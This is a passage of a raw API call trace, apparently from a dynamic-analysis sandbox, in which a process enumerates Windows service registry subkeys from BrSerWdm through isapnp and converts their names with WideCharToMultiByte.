lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0254.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0254.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0254.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0254.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0254.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0254.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0254.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0254.805] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0254.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0254.838] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0254.838] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0254.838] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0254.838] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0254.838] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0254.839] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0254.840] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0254.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0254.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0254.843] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, 